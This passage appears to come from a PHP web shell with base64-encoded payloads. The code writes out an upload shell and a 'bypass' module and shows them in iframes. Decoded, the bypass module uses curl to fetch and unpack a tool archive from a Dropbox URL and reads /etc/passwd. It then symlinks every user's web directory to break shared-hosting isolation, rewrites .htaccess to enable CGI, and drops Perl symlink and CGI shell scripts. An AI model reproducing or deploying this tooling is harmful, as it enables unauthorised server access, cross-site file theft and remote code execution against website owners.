dST0c2b0U1SElDSWdVRWhRSUNJOFluSWdMejQ4WW5JZ0x6NDhjM0JoYmlCemRIbHNaVDBpWTI5c2IzSTZJSEpsWkRzaVBsRlY0YnFpVGlCTXc1MGdRc09BU1NCV1NlRzZ2bFF0Sm1kME96d3ZjM0JoYmo0OFluSWdMejRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNnS3lBaVVWWGh1cUpPSUV6RG5TQlVTZUc3aGxBZ1ZFbE9JRlRodXFKSklFekRpazRnSWp4aWNpQXZQaVp1WW5Od095WnVZbk53T3ladVluTndPeVp1WW5Od095WnVZbk53T3ladVluTndPeUFySUZWUVRFOUJSRHhpY2lBdlBqeGljaUF2UGp4emNHRnVJSE4wZVd4bFBTSmpiMnh2Y2pvZ2NtVmtPeUkrUTFORVRDQXRKbWQwT3lCTldWTlJURHd2YzNCaGJqNDhZbklnTHo0OGMzQmhiaUJ6ZEhsc1pUMGlZMjlzYjNJNklHSnNkV1U3SWo1elpXeGxZM1FnS2lCbWNtOXRJR0p2WW14dloxOTFjR3h2WVdROEwzTndZVzQrUEM5aVBqeGljaUF2UGdvOFlqNDhZbklnTHo1VXc0eE5JRk5JUlV4TUxsQklVRHd2WWo0OFluSWdMejRLUEdJK1BHSnlJQzgrUEhOd1lXNGdjM1I1YkdVOUltTnZiRzl5T2lCaWJIVmxPeUkrSm01aWMzQTdMMkYwZEdGamFHMWxiblF2ZUhoNGVIaDRlSE5vWld4c0xuQm9jRHd2YzNCaGJqNDhMMkkrQ2p3dmFIUnRiRDQ9DQonOw0KDQokZmlsZSA9IGZvcGVuKCJiYi5waHAiICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJiYi5waHAiLDA3NTUpOw0KICAgZWNobyAiPGlmcmFtZSBzcmM9dXBzaGVsbC9iYi5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSBmcmFtZWJvcmRlcj0wPjwvaWZyYW1lPiAiOw0KfQ0KPz4NCg0KDQogIDx0cj4NCiAgICA8dGQ+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzE3Myc+DQogICAgICA8dHI+DQogICAgICAgIDx0aCBjbGFzcz0ndGQnIHN0eWxlPSdib3JkZXItYm90dG9tLXdpZHRoOnRoaW47Ym9yZGVyLXRvcC13aWR0aDp0aGluJz48ZGl2IGFsaWduPSdyaWdodCc+PHNwYW4gY2xhc3M9J3N0eWxlMSc+U09VUkNFICAgOjwvc3Bhbj48L2Rpdj48L3RoPg0KICAgICAgICA8dGQgY2xhc3M9J3RkJyBzdHlsZT0nYm9yZGVyLWJvdHRvbS13aWR0aDp0aGluO2JvcmRlci10b3Atd2lkdGg6dGhpbic+PGZvcm0gbmFtZT0nRjEnIG1ldGhvZD0ncG9zdCc+DQogICAgICAgICAgICA8ZGl2IGFsaWduPSdsZWZ0Jz4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndmJiJyAgdmFsdWU9J1ZCQic+DQoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2psJyAgdmFsdWU9J0pvbUxhJz4NCgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nd3AnICB2YWx1ZT0nV29yZFByZXNzJz4NCgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0ndm4nICB2YWx1ZT0nVmlldE5leHQnPg0KICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdiYicgIHZhbHVlPSdCby1CbG9nJz4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2Zvcm0+PC90ZD4NCiAgICAgIDwvdHI+DQogICA8dHI+DQogICANCjwvYm9keT4NCjwvaHRtbD4=
1717';
1718$file = fopen("upshell.php" ,"w+");
1719$write = fwrite ($file ,base64_decode($perltoolss));
1720fclose($file);
1721 echo "<iframe src=upshell.php width=100% height=720px frameborder=0></iframe> ";
1722}//end upshell
1723elseif ($action == 'bypass') {
1724$file = fopen($dir."bypass.php" ,"w+");
1725$perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+DQo8aHRtbD4NCjwhLS1JdHMgRmlyc3QgUHVibGljIFZlcnNpb24gDQoNCiAtLT4NCjwvaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSdDb250ZW50LVR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDsgY2hhcnNldD11dGYtOCc+DQo8dGl0bGU+OjogQnlQYXNzIDo6IERPSUtIT05HTFVZUEhJRU4gOjo8L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmEgeyANCnRleHQtZGVjb3JhdGlvbjpub25lOw0KY29sb3I6d2hpdGU7DQogfQ0KPC9zdHlsZT4gDQo8c3R5bGU+DQppbnB1dCB7IA0KY29sb3I6IzAwMDAzNTsgDQpmb250OjhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsNCn0NCi5ESVIgeyANCmNvbG9yOiMwMDAwMzU7IA0KZm9udDpib2xkIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjtjb2xvcjojRkZGRkZGOw0KYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOw0KYm9yZGVyLXN0eWxlOm5vbmU7DQp9DQoudHh0IHsgDQpjb2xvcjojMkEwMDAwOyANCmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOw0KfSANCmJvZHksIHRhYmxlLCBzZWxlY3QsIG9wdGlvbiwgLmluZm8NCnsNCmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOw0KfQ0KYm9keSB7DQoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsNCn0NCi5zdHlsZTEge2NvbG9yOiAjQUEwMDAwfQ0KLnRkDQp7DQpib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2Ow0KYm9yZGVyLXRvcDogMHB4Ow0KYm9yZGVyLWxlZnQ6IDBweDsNCmJvcmRlci1yaWdodDogMHB4Ow0KfQ0KLnRkVVANCnsNCmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7DQpib3JkZXItdG9wOiAxcHg7DQpib3JkZXItbGVmdDogMHB4Ow0KYm9yZGVyLXJpZ2h0OiAwcHg7DQpib3JkZXItYm90dG9tOiAxcHg7DQp9DQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQ0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPD9waHANCmVjaG8gIjxDRU5URVI+DQogIDx0YWJsZSBib3JkZXI9JzEnIGNlbGxwYWRkaW5nPScwJyBjZWxsc3BhY2luZz0nMCcgc3R5bGU9J2JvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IGJvcmRlci1zdHlsZTogc29saWQ7IGJvcmRlci1jb2xvcjogI0MwQzBDMDsgcGFkZGluZy1sZWZ0OiA0OyBwYWRkaW5nLXJpZ2h0OiA0OyBwYWRkaW5nLXRvcDogMTsgcGFkZGluZy1ib3R0b206IDEnIGJvcmRlcmNvbG9yPScjMTExMTExJyB3aWR0aD0nMTAwJScgYmdjb2xvcj0nI0UwRTBFMCc+DQogICAgPHRyPg0KICAgICAgPHRkIGJnY29sb3I9JyMwMDAwZmYnIGNsYXNzPSd0ZCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4gQnlQYXNzPC9kaXY+PC90ZD4NCiAgICAgIDx0ZCBiZ2NvbG9yPScjMDAwMGZmJyBjbGFzcz0ndGQnIHN0eWxlPSdwYWRkaW5nOjBweCAwcHggMHB4IDVweCc+PGRpdiBhbGlnbj0nY2VudGVyJyBjbGFzcz0nc3R5bGU0Jz4NCiAgICAgICAgPGRpdiBhbGlnbj0nbGVmdCc+DQogICAgICAgIDwvZGl2Pg0KICAgICAgPC9kaXY+PC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICA8dGQgd2lkdGg9JzEwMCUnIGhlaWdodD0nMzUwJyBzdHlsZT0ncGFkZGluZzoyMHB4IDIwcHggMjBweCAyMHB4ICc+IjsNCg0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTAnXSkpDQp7DQpAbWtkaXIoIkJ5UGFzc1N5bSIpOw0KQGNoZGlyKCJCeVBhc3NTeW0iKTsNCkBleGVjKCdjdXJsIGh0dHA6Ly9kbC5kcm9wYm94LmNvbS91Lzc0NDI1MzkxL3N5bS50YXIgLW8gc3ltLnRhcicpOw0KQGV4ZWMoJ3RhciAteHZmIHN5bS50YXInKTsNCg0KZWNobyAiPGlmcmFtZSBzcmM9QnlQYXNzU3ltL3N5bSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQoNCiRmaWxlMyA9ICdPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MNCkRpcmVjdG9yeUluZGV4IHNzc3Nzcy5odG0NCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgdHh0IC5waHAnOw0KJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7DQokZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCmlmICgkZnczKSB7DQoNCn0NCmVsc2Ugew0KZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOw0KfQ0KQGZjbG9zZSgkZnAzKTsNCiRsaW5lczM9QGZpbGUoJy9ldGMvcGFzc3dkJyk7DQppZiAoISRsaW5lczMpIHsNCiRhdXRocCA9IEBwb3BlbigiL2Jpbi9jYXQgL2V0Yy9wYXNzd2QiLCAiciIpOw0KJGkgPSAwOw0Kd2hpbGUgKCFmZW9mKCRhdXRocCkpDQokYXJlc3VsdFskaSsrXSA9IGZnZXRzKCRhdXRocCwgNDA5Nik7DQokbGluZXMzID0gJGFyZXN1bHQ7DQpAcGNsb3NlKCRhdXRocCk7DQp9DQppZiAoISRsaW5lczMpIHsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgUmVhZCAvZXRjL3Bhc3N3ZCBGaWxlIC48L2ZvbnQ+PEJSPiI7DQplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IE1ha2UgVGhlIFVzZXJzIFNob3J0Y3V0cyAuPC9mb250PjxCUj4iOw0KZWNobyAnPGZvbnQgY29sb3I9cmVkPlsrXSBGaW5pc2ggITwvZm9udD48QlI+JzsNCn0NCmVsc2Ugew0KZm9yZWFjaCgkbGluZXMzIGFzICRsaW5lX251bTM9PiRsaW5lMyl7DQokc3BydDM9ZXhwbG9kZSgiOiIsJGxpbmUzKTsNCiR1c2VyMz0kc3BydDNbMF07DQpAZXhlYygnLi9sbiAtcyAvaG9tZS8nLiR1c2VyMy4nL3B1YmxpY19odG1sICcgLiAkdXNlcjMpOw0KfQ0KfQ0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTInXSkpIHsNCkBta2Rpcigic3ltbGlua3VzZXIiKTsNCkBjaGRpcigic3ltbGlua3VzZXIiKTsNCmVjaG8gIjxpZnJhbWUgc3JjPXN5bWxpbmt1c2VyLyB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQokZmlsZTMgPSAnT3B0aW9ucyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAuY2luDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4nOw0KJGZwMyA9IGZvcGVuKCcuaHRhY2Nlc3MnLCd3Jyk7DQokZnczID0gZndyaXRlKCRmcDMsJGZpbGUzKTsNCmlmICgkZnczKSB7DQoNCn0NCmVsc2Ugew0KZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSAuaHRhY2Nlc3MgRmlsZSAhPC9mb250PjxCUj4iOw0KfQ0KQGZjbG9zZSgkZnAzKTsNCiRmaWxlUyA9IGJhc2U2NF9kZWNvZGUoIkl5RXZkWE55TDJKcGJpOXdaWEpzQ205d1pXNGdTVTVRVlZRc0lDSThMMlYwWXk5d1lYTnpkMlFpT3dwM2FHbHNaU0FvSUR4SlRsQlYNClZENGdLUXA3Q2lSc2FXNWxQU1JmT3lCQWMzQnlkRDF6Y0d4cGRDZ3ZPaThzSkd4cGJtVXBPeUFrZFhObGNqMGtjM0J5ZEZzd1hUc0sNCmMzbHpkR1Z0S0Nkc2JpQXRjeUF2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3dnSnlBdUlDUjFjMlZ5S1RzS2ZRPT0NCiIpOw0KJGZwUyA9IEBmb3BlbigiUEwtU3ltbGluay5jaW4iLCd3Jyk7DQokZndTID0gQGZ3cml0ZSgkZnBTLCRmaWxlUyk7DQppZiAoJGZ3Uykgew0KJFRFU1Q9QGZpbGUoJy9ldGMvcGFzc3dkJyk7DQppZiAoISRURVNUKSB7DQplY2hvICI8Zm9udCBjb2xvcj1yZWQ+WytdIENhbid0IFJlYWQgL2V0Yy9wYXNzd2QgRmlsZSAuPC9mb250PjxCUj4iOw0KZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBDYW4ndCBDcmVhdGUgVXNlcnMgU2hvcnRjdXRzIC48L2ZvbnQ+PEJSPiI7DQplY2hvICc8Zm9udCBjb2xvcj1yZWQ+WytdIEZpbmlzaCAhPC9mb250PjxCUj4nOw0KfQ0KZWxzZSB7DQpjaG1vZCgiUEwtU3ltbGluay5jaW4iLDA3NTUpOw0KZWNobyBAc2hlbGxfZXhlYygicGVybCBQTC1TeW1saW5rLmNpbiIpOw0KfQ0KQGZjbG9zZSgkZnBTKTsNCn0NCmVsc2Ugew0KZWNobyAiPGZvbnQgY29sb3I9cmVkPlsrXSBObyBQZXJtIFRvIENyZWF0ZSBQZXJsIEZpbGUgITwvZm9udD4iOw0KfQ0KfQ0KaWYgKGlzc2V0KCRfUE9TVFsnU3VibWl0MTMnXSkpDQp7DQpAbWtkaXIoImNnaXNoZWxsIik7DQpAY2hkaXIoImNnaXNoZWxsIik7DQogICAgICAgICRrb2tkb3N5YSA9ICIuaHRhY2Nlc3MiOw0KICAgICAgICAkZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7DQogICAgICAgICRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhw6fEsWxhbWFkxLEhIik7DQogICAgICAgICRtZXRpbiA9ICJPcHRpb25zIEZvbGxvd1N5bUxpbmtzIE11bHRpVmlld3MgSW5kZXhlcyBFeGVjQ0dJDQoNCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1jZ2kgLmNpbg0KDQpBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLmNpbg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5jaW4iOyAgICANCiAgICAgICAgZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOw0KICAgICAgICBmY2xvc2UgKCRkb3N5YSk7DQokY2dpc2hlbGxpem9jaW4gPSAnSXlFdmRYTnlMMkpwYmk5d1pYSnNJQzFKTDNWemNpOXNiMk5oYkM5aVlXNWtiV0ZwYmcwS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExRMEtJeUE4WWlCemRIbHNaVDBpWTI5c2IzSTZZbXhoWTJzN1ltRmphMmR5YjNWdVpDMWpiMnh2Y2pvalptWm1aalkySWo1dw0KY21sMk9DQmpaMmtnYzJobGJHdzhMMkkrSUNNZ2MyVnlkbVZ5RFFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHREUW9OQ2lNdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNpTWdRMjl1Wm1sbmRYSmhkR2x2YmpvZ1dXOTFJRzVsWldRZ2RHOGdZMmhoYm1kbA0KSUc5dWJIa2dKRkJoYzNOM2IzSmtJR0Z1WkNBa1YybHVUbFF1SUZSb1pTQnZkR2hsY2cwS0l5QjJZV3gxWlhNZ2MyaHZkV3hrSUhkdg0KY21zZ1ptbHVaU0JtYjNJZ2JXOXpkQ0J6ZVhOMFpXMXpMZzBLSXkwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExRMEtKRkJoYzNOMw0KYjNKa0lEMGdJbkJ5YVhZNElqc0pDU01nUTJoaGJtZGxJSFJvYVhNdUlGbHZkU0IzYVd4c0lHNWxaV1FnZEc4Z1pXNTBaWElnZEdocA0KY3cwS0NRa0pDU01nZEc4Z2JHOW5hVzR1RFFvTkNpUlhhVzVPVkNBOUlEQTdDUWtKSXlCWmIzVWdibVZsWkNCMGJ5QmphR0Z1WjJVZw0KZEdobElIWmhiSFZsSUc5bUlIUm9hWE1nZEc4Z01TQnBaZzBLQ1FrSkNTTWdlVzkxSjNKbElISjFibTVwYm1jZ2RHaHBjeUJ6WTNKcA0KY0hRZ2IyNGdZU0JYYVc1a2IzZHpJRTVVRFFvSkNRa0pJeUJ0WVdOb2FXNWxMaUJKWmlCNWIzVW5jbVVnY25WdWJtbHVaeUJwZENCdg0KYmlCVmJtbDRMQ0I1YjNVTkNna0pDUWtqSUdOaGJpQnNaV0YyWlNCMGFHVWdkbUZzZFdVZ1lYTWdhWFFnYVhNdURRb05DaVJPVkVOdA0KWkZObGNDQTlJQ0ltSWpzSkNTTWdWR2hwY3lCamFHRnlZV04wWlhJZ2FYTWdkWE5sWkNCMGJ5QnpaWEJsY21GMFpTQXlJR052YlcxaA0KYm1SekRRb0pDUWtKSXlCcGJpQmhJR052YlcxaGJtUWdiR2x1WlNCdmJpQlhhVzVrYjNkeklFNVVMZzBLRFFva1ZXNXBlRU50WkZObA0KY0NBOUlDSTdJanNKQ1NNZ1ZHaHBjeUJqYUdGeVlXTjBaWElnYVhNZ2RYTmxaQ0IwYnlCelpYQmxjbUYwWlNBeUlHTnZiVzFoYm1Seg0KRFFvSkNRa0pJeUJwYmlCaElHTnZiVzFoYm1RZ2JHbHVaU0J2YmlCVmJtbDRMZzBLRFFva1EyOXRiV0Z1WkZScGJXVnZkWFJFZFhKaA0KZEdsdmJpQTlJREV3T3draklGUnBiV1VnYVc0Z2MyVmpiMjVrY3lCaFpuUmxjaUJqYjIxdFlXNWtjeUIzYVd4c0lHSmxJR3RwYkd4bA0KWkEwS0NRa0pDU01nUkc5dUozUWdjMlYwSUhSb2FYTWdkRzhnWVNCMlpYSjVJR3hoY21kbElIWmhiSFZsTGlCVWFHbHpJR2x6RFFvSg0KQ1FrSkl5QjFjMlZtZFd3Z1ptOXlJR052YlcxaGJtUnpJSFJvWVhRZ2JXRjVJR2hoYm1jZ2IzSWdkR2hoZEEwS0NRa0pDU01nZEdGcg0KWlNCMlpYSjVJR3h2Ym1jZ2RHOGdaWGhsWTNWMFpTd2diR2xyWlNBaVptbHVaQ0F2SWk0TkNna0pDUWtqSUZSb2FYTWdhWE1nZG1Gcw0KYVdRZ2IyNXNlU0J2YmlCVmJtbDRJSE5sY25abGNuTXVJRWwwSUdsekRRb0pDUWtKSXlCcFoyNXZjbVZrSUc5dUlFNVVJRk5sY25abA0KY25NdURRb05DaVJUYUc5M1JIbHVZVzFwWTA5MWRIQjFkQ0E5SURFN0NRa2pJRWxtSUhSb2FYTWdhWE1nTVN3Z2RHaGxiaUJrWVhSaA0KSUdseklITmxiblFnZEc4Z2RHaGxEUW9KQ1FrSkl5QmljbTkzYzJWeUlHRnpJSE52YjI0Z1lYTWdhWFFnYVhNZ2IzVjBjSFYwTENCdg0KZEdobGNuZHBjMlVOQ2drSkNRa2pJR2wwSUdseklHSjFabVpsY21Wa0lHRnVaQ0J6Wlc1a0lIZG9aVzRnZEdobElHTnZiVzFoYm1RTg0KQ2drSkNRa2pJR052YlhCc1pYUmxjeTRnVkdocGN5QnBjeUIxYzJWbWRXd2dabTl5SUdOdmJXMWhibVJ6SUd4cGEyVU5DZ2tKQ1Frag0KSUhCcGJtY3NJSE52SUhSb1lYUWdlVzkxSUdOaGJpQnpaV1VnZEdobElHOTFkSEIxZENCaGN5QnBkQTBLQ1FrSkNTTWdhWE1nWW1WcA0KYm1jZ1oyVnVaWEpoZEdWa0xnMEtEUW9qSUVSUFRpZFVJRU5JUVU1SFJTQkJUbGxVU0VsT1J5QkNSVXhQVnlCVVNFbFRJRXhKVGtVZw0KVlU1TVJWTlRJRmxQVlNCTFRrOVhJRmRJUVZRZ1dVOVZKMUpGSUVSUFNVNUhJQ0VoRFFvTkNpUkRiV1JUWlhBZ1BTQW9KRmRwYms1VQ0KSUQ4Z0pFNVVRMjFrVTJWd0lEb2dKRlZ1YVhoRGJXUlRaWEFwT3cwS0pFTnRaRkIzWkNBOUlDZ2tWMmx1VGxRZ1B5QWlZMlFpSURvZw0KSW5CM1pDSXBPdzBLSkZCaGRHaFRaWEFnUFNBb0pGZHBiazVVSUQ4Z0lseGNJaUE2SUNJdklpazdEUW9rVW1Wa2FYSmxZM1J2Y2lBOQ0KSUNna1YybHVUbFFnUHlBaUlESStKakVnTVQ0bU1pSWdPaUFpSURFK0pqRWdNajRtTVNJcE93MEtEUW9qTFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0RFFvaklGSmxZV1J6SUhSb1pTQnBibkIxZENCelpXNTBJR0o1SUhSb1pTQmljbTkzYzJWeUlHRnVaQ0J3WVhKeg0KWlhNZ2RHaGxJR2x1Y0hWMElIWmhjbWxoWW14bGN5NGdTWFFOQ2lNZ2NHRnljMlZ6SUVkRlZDd2dVRTlUVkNCaGJtUWdiWFZzZEdsdw0KWVhKMEwyWnZjbTB0WkdGMFlTQjBhR0YwSUdseklIVnpaV1FnWm05eUlIVndiRzloWkdsdVp5Qm1hV3hsY3k0TkNpTWdWR2hsSUdacA0KYkdWdVlXMWxJR2x6SUhOMGIzSmxaQ0JwYmlBa2FXNTdKMlluZlNCaGJtUWdkR2hsSUdSaGRHRWdhWE1nYzNSdmNtVmtJR2x1SUNScA0KYm5zblptbHNaV1JoZEdFbmZTNE5DaU1nVDNSb1pYSWdkbUZ5YVdGaWJHVnpJR05oYmlCaVpTQmhZMk5sYzNObFpDQjFjMmx1WnlBaw0KYVc1N0ozWmhjaWQ5TENCM2FHVnlaU0IyWVhJZ2FYTWdkR2hsSUc1aGJXVWdiMllOQ2lNZ2RHaGxJSFpoY21saFlteGxMaUJPYjNSbA0KT2lCTmIzTjBJRzltSUhSb1pTQmpiMlJsSUdsdUlIUm9hWE1nWm5WdVkzUnBiMjRnYVhNZ2RHRnJaVzRnWm5KdmJTQnZkR2hsY2lCRA0KUjBrTkNpTWdjMk55YVhCMGN5NE5DaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdA0KTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwTkNuTjFZaUJTWldGa1VHRnljMlVnRFFwNw0KRFFvSmJHOWpZV3dnS0NwcGJpa2dQU0JBWHlCcFppQkFYenNOQ2dsc2IyTmhiQ0FvSkdrc0lDUnNiMk1zSUNSclpYa3NJQ1IyWVd3cA0KT3cwS0NRMEtDU1JOZFd4MGFYQmhjblJHYjNKdFJHRjBZU0E5SUNSRlRsWjdKME5QVGxSRlRsUmZWRmxRUlNkOUlEMStJQzl0ZFd4MA0KYVhCaGNuUmNMMlp2Y20wdFpHRjBZVHNnWW05MWJtUmhjbms5S0M0cktTUXZPdzBLRFFvSmFXWW9KRVZPVm5zblVrVlJWVVZUVkY5Tg0KUlZSSVQwUW5mU0JsY1NBaVIwVlVJaWtOQ2dsN0RRb0pDU1JwYmlBOUlDUkZUbFo3SjFGVlJWSlpYMU5VVWtsT1J5ZDlPdzBLQ1gwTg0KQ2dsbGJITnBaaWdrUlU1V2V5ZFNSVkZWUlZOVVgwMUZWRWhQUkNkOUlHVnhJQ0pRVDFOVUlpa05DZ2w3RFFvSkNXSnBibTF2WkdVbw0KVTFSRVNVNHBJR2xtSUNSTmRXeDBhWEJoY25SR2IzSnRSR0YwWVNBbUlDUlhhVzVPVkRzTkNna0pjbVZoWkNoVFZFUkpUaXdnSkdsdQ0KTENBa1JVNVdleWREVDA1VVJVNVVYMHhGVGtkVVNDZDlLVHNOQ2dsOURRb05DZ2tqSUdoaGJtUnNaU0JtYVd4bElIVndiRzloWkNCaw0KWVhSaERRb0phV1lvSkVWT1Zuc25RMDlPVkVWT1ZGOVVXVkJGSjMwZ1BYNGdMMjExYkhScGNHRnlkRnd2Wm05eWJTMWtZWFJoT3lCaQ0KYjNWdVpHRnllVDBvTGlzcEpDOHBEUW9KZXcwS0NRa2tRbTkxYm1SaGNua2dQU0FuTFMwbkxpUXhPeUFqSUhCc1pXRnpaU0J5WldabA0KY2lCMGJ5QlNSa014T0RZM0lBMEtDUWxBYkdsemRDQTlJSE53YkdsMEtDOGtRbTkxYm1SaGNua3ZMQ0FrYVc0cE95QU5DZ2tKSkVobA0KWVdSbGNrSnZaSGtnUFNBa2JHbHpkRnN4WFRzTkNna0pKRWhsWVdSbGNrSnZaSGtnUFg0Z0wxeHlYRzVjY2x4dWZGeHVYRzR2T3cwSw0KQ1Fra1NHVmhaR1Z5SUQwZ0pHQTdEUW9KQ1NSQ2IyUjVJRDBnSkNjN0RRb2dDUWtrUW05a2VTQTlmaUJ6TDF4eVhHNGtMeTg3SUNNZw0KZEdobElHeGhjM1FnWEhKY2JpQjNZWE1nY0hWMElHbHVJR0o1SUU1bGRITmpZWEJsRFFvSkNTUnBibnNuWm1sc1pXUmhkR0VuZlNBOQ0KSUNSQ2IyUjVPdzBLQ1Fra1NHVmhaR1Z5SUQxK0lDOW1hV3hsYm1GdFpUMWNJaWd1S3lsY0lpODdJQTBLQ1Fra2FXNTdKMlluZlNBOQ0KSUNReE95QU5DZ2tKSkdsdWV5ZG1KMzBnUFg0Z2N5OWNJaTh2WnpzTkNna0pKR2x1ZXlkbUozMGdQWDRnY3k5Y2N5OHZaenNOQ2cwSw0KQ1FraklIQmhjbk5sSUhSeVlXbHNaWElOQ2drSlptOXlLQ1JwUFRJN0lDUnNhWE4wV3lScFhUc2dKR2tyS3lrTkNna0pleUFOQ2drSg0KQ1NSc2FYTjBXeVJwWFNBOWZpQnpMMTR1SzI1aGJXVTlKQzh2T3cwS0NRa0pKR3hwYzNSYkpHbGRJRDErSUM5Y0lpaGNkeXNwWENJdg0KT3cwS0NRa0pKR3RsZVNBOUlDUXhPdzBLQ1FrSkpIWmhiQ0E5SUNRbk93MEtDUWtKSkhaaGJDQTlmaUJ6THloZUtGeHlYRzVjY2x4dQ0KZkZ4dVhHNHBLWHdvWEhKY2JpUjhYRzRrS1M4dlp6c05DZ2tKQ1NSMllXd2dQWDRnY3k4bEtDNHVLUzl3WVdOcktDSmpJaXdnYUdWNA0KS0NReEtTa3ZaMlU3RFFvSkNRa2thVzU3Skd0bGVYMGdQU0FrZG1Gc095QU5DZ2tKZlEwS0NYME5DZ2xsYkhObElDTWdjM1JoYm1SaA0KY21RZ2NHOXpkQ0JrWVhSaElDaDFjbXdnWlc1amIyUmxaQ3dnYm05MElHMTFiSFJwY0dGeWRDa05DZ2w3RFFvSkNVQnBiaUE5SUhOdw0KYkdsMEtDOG1MeXdnSkdsdUtUc05DZ2tKWm05eVpXRmphQ0FrYVNBb01DQXVMaUFrSTJsdUtRMEtDUWw3RFFvSkNRa2thVzViSkdsZA0KSUQxK0lITXZYQ3N2SUM5bk93MEtDUWtKS0NSclpYa3NJQ1IyWVd3cElEMGdjM0JzYVhRb0x6MHZMQ0FrYVc1YkpH